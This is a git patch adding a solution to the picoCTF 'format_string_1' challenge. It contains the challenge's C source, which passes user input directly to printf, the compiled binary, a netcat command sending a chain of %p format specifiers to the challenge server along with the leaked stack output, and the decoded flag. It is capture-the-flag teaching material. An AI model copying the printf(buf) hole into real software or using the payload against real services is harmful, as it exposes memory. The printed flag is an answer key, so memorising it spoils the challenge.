From 9300e7c5f3547fd1dbb2431c37c53713c7dbcd4c Mon Sep 17 00:00:00 2001 From: h7x4 Date: Tue, 3 Sep 2024 20:24:05 +0200 Subject: [PATCH] pwn/format_string_1 --- pwn/format_string_1/flag.txt | 5 +++ pwn/format_string_1/format-string-1 | Bin 0 -> 16256 bytes pwn/format_string_1/format-string-1.c | 44 ++++++++++++++++++++++++++ pwn/format_string_1/output.txt | 4 +++ 4 files changed, 53 insertions(+) create mode 100644 pwn/format_string_1/flag.txt create mode 100755 pwn/format_string_1/format-string-1 create mode 100644 pwn/format_string_1/format-string-1.c create mode 100644 pwn/format_string_1/output.txt diff --git a/pwn/format_string_1/flag.txt b/pwn/format_string_1/flag.txt new file mode 100644 index 0000000..c3023f7 --- /dev/null +++ b/pwn/format_string_1/flag.txt @@ -0,0 +1,5 @@ +# By cutting off a part of the output and giving it to cyberchef (as well as swapping endianness with word length 8), we get: + +0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x35365f673431665f.0x7d313464303935 + +-> picoCTF{4n1m41_57y13_4x4_f14g_65590d41} diff --git a/pwn/format_string_1/format-string-1 b/pwn/format_string_1/format-string-1 new file mode 100755 index 0000000000000000000000000000000000000000..25e6624576ee746cf85367ecb77de7080d62740c GIT binary patch literal 16256 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 literal 0 HcmV?d00001 diff --git a/pwn/format_string_1/format-string-1.c b/pwn/format_string_1/format-string-1.c new file mode 100644 index 0000000..4890517 --- /dev/null +++ b/pwn/format_string_1/format-string-1.c @@ -0,0 +1,44 @@ +#include + + +int main() { + char buf[1024]; + char secret1[64]; + char flag[64]; + char secret2[64]; + + // Read in first secret menu item + FILE *fd = fopen("secret-menu-item-1.txt", "r"); + if (fd == NULL){ + printf("'secret-menu-item-1.txt' file not found, aborting.\n"); + return 1; + } + fgets(secret1, 64, fd); + // Read in the flag + fd = fopen("flag.txt", "r"); + if (fd == NULL){ + printf("'flag.txt' file not found, aborting.\n"); + return 1; + } + fgets(flag, 64, fd); + // Read in second secret menu item + fd = fopen("secret-menu-item-2.txt", "r"); + if (fd == NULL){ + printf("'secret-menu-item-2.txt' file not found, aborting.\n"); + return 1; + } + fgets(secret2, 64, fd); + + printf("Give me your order and I'll read it back to you:\n"); + fflush(stdout); + scanf("%1024s", buf); + printf("Here's your order: "); + printf(buf); + printf("\n"); + fflush(stdout); + + printf("Bye!\n"); + fflush(stdout); + + return 0; +} diff --git a/pwn/format_string_1/output.txt b/pwn/format_string_1/output.txt new file mode 100644 index 0000000..2041e96 --- /dev/null +++ b/pwn/format_string_1/output.txt @@ -0,0 +1,4 @@ +$ nc mimas.picoctf.net 57678 <<<"%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p" +Give me your order and I'll read it back to you: +Here's your order: 0x402118.(nil).0x7fbbf8d1fa00.(nil).0x89b880.0xa347834.0x7ffd876bd5a0.0x7fbbf8b10e60.0x7fbbf8d354d0.0x1.0x7ffd876bd670.(nil).(nil).0x7b4654436f636970.0x355f31346d316e34.0x3478345f33317937.0x35365f673431665f.0x7d313464303935 +Bye!